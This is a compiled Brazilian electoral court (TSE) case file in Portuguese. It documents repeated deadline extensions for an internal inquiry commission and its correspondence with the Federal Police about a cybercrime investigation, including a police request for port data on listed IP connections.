que apresentam vulnerabilidade 

03/12/2018 20/11/2018 03/12/2018 

27/11/2018 13/11/2018 27/11/2018 

1 Consideram-se como entregas aquelas atividades do projeto que produzem produtos tangíveis, resultados ou serviços, os quais possuem valor 
mensurável e observável ao cliente do projeto, ou que sejam de seu especial interesse para acompanhamento. 
2 Término Planejado é determinado quando é feito o planejamento do cronograma, podendo ser replanejado no decorrer da iniciativa. 
3 Consideram-se como Início Real entregas já iniciadas. Caso a entrega ainda não tenha sido iniciada, considera-se Início Previsto. 
4 Consideram-se como Término Real entregas concluídas. Caso a entrega ainda não tenha sido conluída, considera-se Término Previsto. 

Considerações 

Plano de ação formalizado em 21/11/2018. As atividades estão em andamento, conforme planejado. 
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TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

Senhora Ministra Presidente,

 

Visando ao cumprimento da Portaria-TSE nº 976/2018, a Comissão de Sindicância oficiou ao

Departamento de Polícia Federal, em 20/11/2018, solicitando o compartilhamento dos resultados

da investigação promovida por aquele órgão envolvendo os fatos descritos na Informação nº 32

STI, solicitação que, por não ter sido atendida até o momento, foi renovada nesta data.

Assim, tendo em vista o esgotamento do prazo originariamente fixado para conclusão do trabalho

atribuído à Comissão de Sindicância, solicito a Vossa Excelência a prorrogação daquele prazo.

Respeitosamente,

 

RICARDO FIOREZE

Presidente da Comissão de Sindicância

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL

  Documento assinado eletronicamente em 31/01/2019, às 20:12, conforme art. 1º, §2º, III,

b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=0963434&crc=A2F9061A,

informando, caso não preenchido, o código verificador 0963434 e o código CRC A2F9061A.

2018.00.000014309-3 Documento no 0963434 v2
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TRIBUNAL SUPERIOR ELEITORAL

Ofício nº 296 GAB-SPR

Brasília, 01 de fevereiro de 2019.

A Sua Excelência o Senhor

Dr. MAURÍCIO LEITE VALEIXO

Diretor-Geral da Polícia Federal

Brasília - DF

 

Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 

 

Senhor Diretor-Geral,

 

Reiterando o Ofício nº 5979 GAB-SPR, de 20/11/2018, solicito a gentileza de, em

caráter reservado, serem enviados a mim os resultados da investigação promovida por esse

Departamento envolvendo as informações constantes na Informação nº 32 STI, enviadas a esse

Departamento por meio do Ofício nº 5825 GAB-SPR.

 

Atenciosamente,

 

RICARDO FIOREZE

Juiz Auxiliar da Presidência

Presidente da Comissão de Sindicância

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL

  Documento assinado eletronicamente em 04/02/2019, às 09:33, conforme art. 1º, §2º, III,

b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=0963982&crc=B7C9F9BA,

informando, caso não preenchido, o código verificador 0963982 e o código CRC

B7C9F9BA.
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE nº 84 de 01 de fevereiro de 2019.

 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o

contido no Processo SEI nº 2018.00.000014309-3,

RESOLVE:

 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de

Sindicância instituída pela Portaria-TSE 976, de 08.11.2018.

 

 

Ministra ROSA WEBER

 

 

2018.00.000014309-3 Documento no 0963985 v1
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TRIBUNAL SUPERIOR ELEITORAL 

Ofício nº 296 GAB-SPR 

Brasília, 01 de fevereiro de 2019. 

A Sua Excelência o Senhor 
Dr. MAURÍCIO LEITE VALEIXO 
Diretor-Geral da Polícia Federal 
Brasília - DF 

Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 

Senhor Diretor-Geral, 

Reiterando o Ofício nº 5979 GAB-SPR, de 20/11/2018, solicito a gentileza de, em 
caráter reservado, serem enviados a mim os resultados da investigação promovida por esse 
Departamento envolvendo as informações constantes na Informação nº 32 STI, enviadas 
a esse Departamento por meio do Ofício nº 5825 GAB-SPR. 

Atenciosamente, 

RICARDO FIOREZE 

Juiz Auxiliar da Presidência 

Presidente da Comissão de Sindicância 

RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 

Documento assinado eletronicamente em 04/02/2019, às 09:33, conforme art. 1º, §2º, 111, 
b, da Lei 11.419 / 2006. 

[!l' 
ｾＮ＠

I 
...... 

[!l 

""'[!l A autenticidade do documento pode ser conferida em 
ｾ＠ httRS: //sei.tse.jus.br / se i /controlador externo.Rhp.1 

acao=docllmento conferir&id orgao acesso externo=0&cv=0963982&crc=B7C9F9BA. 
informando, caso não preenchido, o código verificador 0963982 e o código CRC 

.. ｾｾ＠ B7C9F9BA. 
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04/02/2019 SEI/TSE - 0963985 - Portaria

TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE n9 84 de 01 de fevereiro de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no
Processo SEI nQ 2018.00.000014309-3,

RESOLVE:

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018.

u/Á
Ministra ROSA WEBER

2018.00.000014309-3 Documento n° 0963985 vi

https://sei.tsejus.br/sei/controlador.php?acao=documentojmprimir_web&acao_origem=arvore_visualizar&id_documento-1022827&infra_sistem... 1/1Portaria 84 assinada (0969851)         SEI 2018.00.000014309-3 / pg. 49

04/02/2019 SEI/TSE - 0963985 - Portaria 

TRIBUNAL SUPERIOR ELEITORAL 

Portaria TSE nº 84 de 01 de fevereiro de 2019. 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no 
Processo SEI nº 2018.00.000014309-3, 

RESOLVE: 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 

2018.00.000014309-3 Documento nO 0963985 vi 

https:l/sei.tse.jus. brlseilcontrolador.php?acao=documento _im primir _ web&acao _ orige m=arvore _ visualizar&id _ documento= 1022827 &infra _ sistem. . . 1/1 
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E-mail - 0969863

Data de Envio: 
  08/02/2019 18:30:30

De: 
  TSE/Presidência <presidencia@tse.jus.br>

Para:
    ricardo.fioreze@tse.jus.br
    fernando.mello@tse.jus.br
    daniel.correa@tse.jus.br

Assunto: 
  Portaria TSE nº 84

Mensagem: 
  Senhores Membros,

De ordem, informo a todos que foi prorrogada, por sessenta dias, o prazo para conclusão dos trabalhos da
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018.

A Portaria será publicada no DJE em 12/02/2019.

Respeitosamente,

Sérgio Trés
Secretaria-Geral da Presidência
Tribunal Superior Eleitoral
Telefone (61) 3030-7837 

 

Anexos:
    Portaria_0969851_Portaria_84.pdf
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SECRETARIA DE SEGURANÇA E TRANSPORTE ................................................................................................................................118
COMISSÃO PERMANENTE DE ÉTICA E SINDICÂNCIA DO TSE ...........................................................................................................118

PRESIDÊNCIA

Atos da Presidência

Portaria

Prorrogação. Prazo. Trabalhos. Comissão de Sindicância.

Portaria TSE nº 84 de 01 de fevereiro de 2019.

 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3,

RESOLVE:

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018.

 

 

Ministra ROSA WEBER

 

SECRETARIA JUDICIÁRIA 

Coordenadoria de Registros Partidários, Autuação e Distribuição

Decisão monocrática

PUBLICAÇÃO DE DECISÃO Nº 4/2019  CPADI

PRESTAÇÃO DE CONTAS Nº 256-12.2015.6.00.0000 BRASÍLIA-DF

REQUERENTE: PARTIDO TRABALHISTA NACIONAL (PTN) - NACIONAL / PODEMOS (PODE) - NACIONAL

ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS

REQUERENTE: JOSÉ MASCI DE ABREU, PRESIDENTE

ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS

REQUERENTE: MÁRCIA MARTINS PEREIRA CRAVO, TESOUREIRO

ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS

REQUERENTE: FÁTIMA DE JESUS CHAVES, CONTABILISTA

ADVOGADOS: JOELSON COSTA DIAS - OAB: 10441/DF E OUTROS

MINISTRO GERALDO OG NICEAS MARQUES FERNANDES

PROTOCOLO: 8.715/2015
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E-mail - 0982691

Data de Envio: 
  25/02/2019 15:59:29

De: 
  TSE/Presidência <presidencia@tse.jus.br>

Para:
    dg@dpf.gov.br
    aedg@dpf.gov.br
    cgab@dpf.gov.br

Assunto: 
  Ofícios 5979/2018 e 296/2019

Mensagem: 
  Prezados Senhores,

De ordem, solicito a gentileza de ser informado o andamento dado aos documentos encaminhados ao
Departamento da Polícia Federal, relativamente aos ofícios 5979/2018 e 296/2019, considerando-se os
prazos a serem observados pela Comissão de Sindicância do TSE.

Havendo alguma previsão para o atendimento, favor informar adicionalmente.

Atenciosamente,

Sérgio Trés
Secretaria-Geral da Presidência
Tribunal Superior Eleitoral
Telefone (61) 3030-7837

Anexos:
    Oficio_0911585.html
    Oficio_0913985_Oficio_5825.pdf
    E_mail_0918365.html
    Oficio_0963982.html
    Oficio_0965808_OF_296_GAB_SPR.pdf
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1

Sérgio Carlos Trés E Silva

De: Presidencia
Enviado em: quinta-feira, 28 de fevereiro de 2019 17:07
Para: Sérgio Carlos Trés E Silva
Assunto: ENC: Envio do Ofício nº 1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido 

conhecimento.
Anexos: 28021900.PDF

 
 
De: edvaldo souza nascimento Nascimento [mailto:edwalldi06@gmail.com]   
Enviada em: quinta-feira, 28 de fevereiro de 2019 16:42 
Para: Presidencia 
Assunto: Envio do Ofício nº  1468/2019 - IPL 1361/2018-4 SR/PF/DF, para o devido conhecimento. 
 

A Sua Excelência, o Senhor 

RICARDO FIOREZE 

Juiz Auxiliar da Presidência do Tribunal Superior Eleitoral 

BRASÍLIA/DF 

  

De ordem do Excelentíssimo Senhor Delegado de Polícia Federal HUGO DE BARROS CORREIA, encaminho a Vossa Excelência  
o Ofício nº 1468/2019 - IPL 1361/2018-4 SR/PF/DF,  para o devido conhecimento. 

Por oportuno, solicito a V.Exa,  que confirme o recebimento deste expediente através deste e-mail. 

  

Respeitosamente, 

  

EDVALDO  SOUZA NASCIMENTO 

ESCRIVÃO DE POLÍCIA FEDERAL  

MATRÍCULA  Nº  926  -  ESPECIAL 

  

TELEFONE SR/PF/DF - DELEFAZ 

(61) 20247595  
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. ' 

SR/PF../f[' . 
FI: L..: ｾ＠
Rub: .... 

-----r' 

SERViÇO PÚBLICO FEDERAL 
MSP ｾ＠ POLíCIA FEDERAL 

SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS QUí'ldra 7 - Lote 23 - Setor Policial Sul- Brasília/DF - CEP 70.610-902 

OfíCio nO 1468/2019 ｾ＠ IPL 1361/2018-4 SR/PF/DF - GRCC 

Brasília/DF, 26 de fevereiro de 2019. 

A Sua Excelência, Q Senhor 
RICARDO FIOREZE 
Juiz Auxiliar da Presidência do Tribunal Superior Eleitoral 
Setor de Administração Federal Sul (SAFS), Quadra 7, Lotes 1/2- Tel.: (61) 3030-7000 
ｾ＠ ZQg10-ego " BrãsiliiLi2E 

Assunto: Solicitação de informf,3çóes 
Ref.: IPL 1361/2018-4 - $R/PF/DF .. (Favor citar eSSi!l refel'ência na resposta) 

Senhor Juiz Auxiliar, 

Visando Instruir os autos do Inquérito Policial nO ＱＳＶＱＯＲＰＱＸｾＴ＠ ... 
SR/PF/DF, informo a Vossa Excelência que o inquérito ｾｳｴ￡＠ em andamento, restando 
pendente, atualmente, ｾｮ￡ｬｩｳ･＠ por parte do Serviço de Repressão a Crimes 
Cibernéticos do material encaminhado pelo TSE 

IPL N° 1361/2018 

Delegado de Polícia Federal 
Classe Especial - Matrícula nO 16.179 

fls. 1 /1 
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TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

Senhora Ministra Presidente,

 

Visando ao cumprimento da Portaria-TSE nº 976/2018, a Comissão de Sindicância

oficiou ao Departamento de Polícia Federal, em 20/11/2018, solicitando o

compartilhamento dos resultados da investigação promovida por aquele órgão

envolvendo os fatos descritos na Informação nº 32 STI.

Em resposta àquela solicitação, o Departamento de Polícia Federal informou que o

inquérito lá instaurado se encontra em tramitação, no aguardo de análise, por parte

de área especializada daquele órgão, do material enviado por este Tribunal.

Assim e dada a conveniência de aguardo do resultado da análise antes mencionada,

tendo em vista o iminente esgotamento do prazo por último fixado para conclusão

do trabalho atribuído à Comissão de Sindicância, solicito a Vossa Excelência a

prorrogação daquele prazo.

Respeitosamente,

 

RICARDO FIOREZE

Presidente da Comissão de Sindicância

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR

ELEITORAL

  Documento assinado eletronicamente em 28/02/2019, às 18:50,

conforme art. 1º, §2º, III, b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=0986569&crc=75B32663,

informando, caso não preenchido, o código verificador 0986569 e o código CRC

75B32663.
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE nº 173 de 28 de fevereiro de 2019.

 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o

contido no Processo SEI nº 2018.00.000014309-3,

RESOLVE:

 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de

Sindicância instituída pela Portaria-TSE 976, de 08.11.2018.

 

 

Ministra ROSA WEBER

 

 

2018.00.000014309-3 Documento no 0986630 v1
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE nQ 173 de 28 de fevereiro de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no
Processo SEI n^ 2018.00.000014309-3,

RESOLVE:

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018.

Sfa
Ministra ROSA WEBER

2018.00.000014309-3 Documento n° 0986630 vi
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TRIBUNAL SUPERIOR ELEITORAL 

Portaria TSE nQ 173 de 28 de fevereiro de 2019. 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no 
Processo SEI n Q 2018.00.000014309-3, 

RESOLVE: 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de 
Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 

2018.00.000014309-3 Documento nO 0986630 vi 
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Portaria

Prorrogação. Trabalhos. Comissão de Sindicância.

Portaria TSE nº 173 de 28 de fevereiro de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3,

RESOLVE:

 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018.

 

 

Ministra ROSA WEBER

 

Assessoria de Plenário

Pauta de Julgamento

PAUTA DE JULGAMENTO Nº 15/2019

Elaborada nos termos do artigo 18 da Resolução-TSE nº 23.478/2016, para julgamento dos processos abaixo relacionados.

Pauta da Sessão Ordinária Jurisdicional de 12 de março de 2019.

AGRAVO REGIMENTAL NO AGRAVO DE INSTRUMENTO Nº 1-32.2017.6.11.0015 - CLASSE 6 - SÃO FÉLIX DO ARAGUAIA-MT 
(15ª ZONA ELEITORAL - SÃO FÉLIX DO ARAGUAIA)

RELATOR: MINISTRO ADMAR GONZAGA

AGRAVANTES: PARTIDO POPULAR SOCIALISTA (PPS) - MUNICIPAL e Outros

ADVOGADOS: ELLY CARVALHO JÚNIOR - OAB: 6132/MT e Outro

AGRAVADOS: JANAILZA TAVEIRA LEITE e Outro

ADVOGADOS: DANILO SCHEMBEK SOUZA - OAB: 19907/MT e Outra

AGRAVO REGIMENTAL NO RECURSO ESPECIAL ELEITORAL Nº 1-74.2017.6.10.0010 - CLASSE 32 - SÃO LUÍS-MA (10ª ZONA 
ELEITORAL - SÃO LUÍS)

RELATOR: MINISTRO TARCISIO VIEIRA DE CARVALHO NETO

AGRAVANTE: MINISTÉRIO PÚBLICO ELEITORAL

AGRAVADO: PAULO VICTOR MELO DUARTE

ADVOGADOS: JOSE EDUARDO RANGEL DE ALCKMIN - OAB: 2977/DF e Outros
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TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

Senhora Ministra Presidente,

 

Em razão da persistência da situação noticiada no expediente 0986569,

reitero a solicitação lá contida, de prorrogação do prazo por último fixado para

conclusão do trabalho atribuído à Comissão de Sindicância.

Respeitosamente,

 

RICARDO FIOREZE

Presidente da Comissão de Sindicância

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR

ELEITORAL

  Documento assinado eletronicamente em 23/05/2019, às 09:24 , conforme art.

1º, §2º, III, b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=1050199&crc=0D16FFEA,

informando, caso não preenchido, o código verificador 1050199 e o código CRC

0D16FFEA.
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TRIBUNAL SUPERIOR ELEITORAL

 

Portaria TSE nº 380 de 23 de maio de 2019.

 

A PRESIDENTE DO TRIBUNAL SUPERIOR

ELEITORAL, tendo em vista o contido no Processo SEI nº

2018.00.000014309-3,

RESOLVE:

 

prorrogar, por sessenta dias, o prazo para conclusão dos

trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976,

de 08.11.2018.

 

 

Ministra ROSA WEBER
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE n2 380 de 23 de maio de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o
contido no Processo SEI nQ 2018.00.000014309-3,

RESOLVE:

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018.

Ministra ROSA WEBER

2018.00.000014309-3 Documento n° 1050653 vi
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TRIBUNAL SUPERIOR ELEITORAL 

Portaria TSE nº 380 de 23 de maio de 2019. 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI nº 2018.00.000014309-3, 

RESOLVE: 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da 
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 

2018.00.000014309-3 Documento nO 1050653 vI 
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PRESIDÊNCIA

Atos da Presidência

Portaria

Prorrogação. Trabalhos. Comissão de Sindicância.

Portaria TSE nº 380 de 23 de maio de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3,

RESOLVE:

 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018.

 

Ministra ROSA WEBER

 

Instituição. Grupo de Trabalho. Ações. TSE. Desinformação e eleições.

Portaria TSE nº 382 de 24 de maio de 2019.

Institui grupo de trabalho incumbido de elaborar propostas de novas linhas de ação do Tribunal Superior Eleitoral sobre 
desinformação e eleições.

  A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuiçoÞes legais e regimentais,

CONSIDERANDO a necessidade de estabelecer estratégias para o tema da desinformação nas eleições municipais de 2020,

CONSIDERANDO o encerramento dos trabalhos do Conselho Consultivo sobre Internet e Eleições (Portaria-TSE nº 949/2017)  
voltado ao estudo do fenômeno das fake news durante as eleições gerais de 2018,

CONSIDERANDO a classificação, no grau de sigilo reservado, pelo então Secretário-Geral da Presidência do TSE, das atas 
reuniões do Conselho Consultivo,

CONSIDERANDO o contido no art. 29 da Lei nº 12.527/2011 (Lei de Acesso à Informação),

 

RESOLVE:

 

Art. 1º Fica instituído grupo de trabalho incumbido de analisar os conteúdos apresentados no Seminário Internacional Fake 
News e Eleições e na reunião prévia de alinhamento interno, bem como o teor das atas do Conselho Consultivo sobre Internet e 
Eleições (Portaria-TSE nº 949/2017) e dos vídeos gravados pela Assessoria de Comunicação do TSE, com especialistas no tema, 
para, no prazo de 10 (dez) dias, apresentar proposta de ação do Tribunal Superior Eleitoral sobre desinformação e eleição.

  Art. 2º O grupo terá a seguinte composição:

I - Dr. Ricardo Fioreze, Juiz Auxiliar do Gabinete da Presidência, Coordenador;

II - Dr. Sandro Nunes Vieira, Juiz Auxiliar do Gabinete da Vice-Presidência, Coordenador substituto;
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TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

Senhora Ministra Presidente,

 

Em razão da persistência da situação noticiada no
expediente 0986569, reitero a solicitação lá contida, de prorrogação
do prazo por último fixado para conclusão do trabalho atribuído à
Comissão de Sindicância.

Respeitosamente,

 

RICARDO FIOREZE

Presidente da Comissão de Sindicância

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR

ELEITORAL

  Documento assinado eletronicamente em 29/07/2019, às 15:29, conforme art.

1º, §2º, III, b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=1101627&crc=0A19CBB6,

informando, caso não preenchido, o código verificador 1101627 e o código CRC

0A19CBB6.
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TRIBUNAL SUPERIOR ELEITORAL

 

Portaria TSE nº 566 de 29 de julho de 2019.

 

A PRESIDENTE DO TRIBUNAL SUPERIOR

ELEITORAL, tendo em vista o contido no Processo SEI nº

2018.00.000014309-3,

RESOLVE:

 

prorrogar, por sessenta dias, o prazo para conclusão dos

trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976,

de 08.11.2018.

 

 

Ministra ROSA WEBER
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TRIBUNAL SUPERIOR ELEITORAL

Portaria TSE nQ 566 de 29 de julho de 2019.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o
contido no Processo SEI nQ 2018.00.000014309-3,

RESOLVE:

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018.

/

Mpistra ROSA WEBER

2018.00.000014309-3 Documento n° 1101862 vi
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TRIBUNAL SUPERIOR ELEITORAL 

Portaria TSE nº 566 de 29 de julho de 2019. 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o 
contido no Processo SEI nº 2018.00.000014309-3, 

RESOLVE: 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da 
Comissão de Sindicância instituída pela Portaria-TSE 976, de 08.11.2018. 

2018.00.000014309-3 Documento nO 1101862 v1 
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Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www.tse.jus.br

Portaria

Prorrogação. Prazo. Comissão de Sindicância.

Portaria TSE nº 566 de 29 de julho de 2019.

 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2018.00.000014309-3,

RESOLVE:

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Sindicância instituída pela Portaria-TSE 976, 
de 08.11.2018.

 

 

Ministra ROSA WEBER

Prorrogação. Prazo. Comissão de Processo Administrativo Disciplinar.

Portaria TSE nº 567 de 30 de julho de 2019.

 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, tendo em vista o contido no Processo SEI nº 2019.00.000003043-0,

RESOLVE:

 

prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão de Processo Administrativo Disciplinar,  
instituída pela Portaria-TSE 226, de 21.3.2019.

 

 

Ministra ROSA WEBER

Assessoria de Plenário

Ata de Julgamento

ATA DA 55ª SESSÃO, EM 28 DE MAIO DE 2019

SESSÃO ORDINÁRIA ADMINISTRATIVA

Presidência da Senhora Ministra Rosa Weber. Presentes os Senhores Ministros Luís Roberto Barroso, Edson Fachin, Jorge Mussi, 
Og Fernandes, Tarcisio Vieira de Carvalho Neto e Sérgio Banhos. Vice-Procurador-Geral Eleitoral, o Dr. Humberto Jacques de 
Medeiros. Diretor-Geral, Anderson Vidal Corrêa. Às dezenove horas e vinte e sete minutos foi aberta a sessão.

REGISTROS
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TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

A considerar o período transcorrido desde o recebimento da

informação 0986380, diligencio na solicitação de novas informações.

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR

ELEITORAL

  Documento assinado eletronicamente em 24/09/2019, às 10:17, conforme art.

1º, §2º, III, b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=1147820&crc=B7708648,

informando, caso não preenchido, o código verificador 1147820 e o código CRC

B7708648.
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TRIBUNAL SUPERIOR ELEITORAL

 

Ofício GAB-SPR nº 3586/2019

 

Brasília, 24 de setembro de 2019.

A Sua Excelência o Senhor

Dr. MAURÍCIO LEITE VALEIXO

Diretor-Geral da Polícia Federal

Brasília - DF

 

Assunto: IPL 1361/2018-4 - SR/PF/DF

Senhor Diretor-Geral,

 

Solicito a gentileza de, em caráter reservado, serem enviados a mim os

resultados até o momento obtidos em razão da investigação promovida por esse

Departamento por meio do procedimento IPL 1361/2018-4 - SR/PF/DF.

 

Atenciosamente,

 

RICARDO FIOREZE

Juiz Auxiliar da Presidência

Presidente da Comissão de Sindicância

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR

ELEITORAL

  Documento assinado eletronicamente em 24/09/2019, às 10:23, conforme art.

1º, §2º, III, b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=1147825&crc=3E86BDD1,

informando, caso não preenchido, o código verificador 1147825 e o código CRC

3E86BDD1.
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E-mail - 1148003

Data de Envio: 
  24/09/2019 13:10:40

De: 
  TSE/Presidência <presidencia@tse.jus.br>

Para:
    dg@dpf.gov.br
    aedg@dpf.gov.br
    cgab@dpf.gov.br

Assunto: 
  Ofício GAB-SPR nº 3586/2019

Mensagem: 
  Prezados Senhores,

Encaminho em anexo o Ofício GAB-SPR nº 3586/2019.

Solicito a gentileza de confirmar recebimento.

Atenciosamente,

Sérgio Trés
Secretaria-Geral da Presidência
Tribunal Superior Eleitoral
Telefone (61) 3030-7837

Anexos:
    Oficio_1147825.html
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1

De: Grupo de Repressao a Crimes Ciberneticos [grcc.df@dpf.gov.br]
Enviado em: sexta-feira, 10 de janeiro de 2020 15:08
Para: Sérgio Carlos Trés E Silva; Presidencia
Assunto: Encaminha Ofício nº 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC

Ofício nº 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 
 
Brasília/DF, 06 de janeiro de 2020.  
 
A Sua Excelência 
Ministra ROSA MARIA PIRES WEBER 
Presidente do Tribunal Superior Eleitoral  
Tribunal Superior Eleitoral - TSE 
Setor de Administração Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF  
CEP 70070-600 
 
Assunto:  Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 
 
 
    Senhora Ministra, 
 
    Visando instruir os autos do Inquérito Policial nº  1361/2018-4 - SR/PF/DF, solicito a Vossa Excelência 
solicitando informar as portas lógicas das seguintes conexões, bem como seus fusos horários: 
 
189.40.75.154, em 18/04/2018, às 18:56:14 
191.51.34.72, em 18/04/2018, às 19:02:05 
189.40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, às 20:56:20 
189.40.72.247, 18/04/2018, às 22:21:17 
189.40.72.14, em 18/04/2018 22:23:14 
189.40.91.135, em 18/04/2018, às 22:29:37 
189.40.90.239, em 19/04/2018, às 01:13:32 
189.40.90.253, em 19/04/2018, às 04:08:37 
201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e  
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 
 
Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor CRISTIANO MOREIRA ANDRADE. 
 
Respeitosamente, 
 
VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 
Classe Especial - Matrícula nº 16.179 
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TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

Senhora Ministra Presidente,

 

Em razão da persistência da situação noticiada no
expediente 1230304, reitero a solicitação lá contida, de prorrogação
do prazo por último fixado para conclusão do trabalho atribuído à
Comissão de Sindicância.

Respeitosamente,

 

RICARDO FIOREZE

Presidente da Comissão de Sindicância

RICARDO FIOREZE

JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR

ELEITORAL

  Documento assinado eletronicamente em 04/03/2020, às 15:33, conforme art.

1º, §2º, III, b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em 

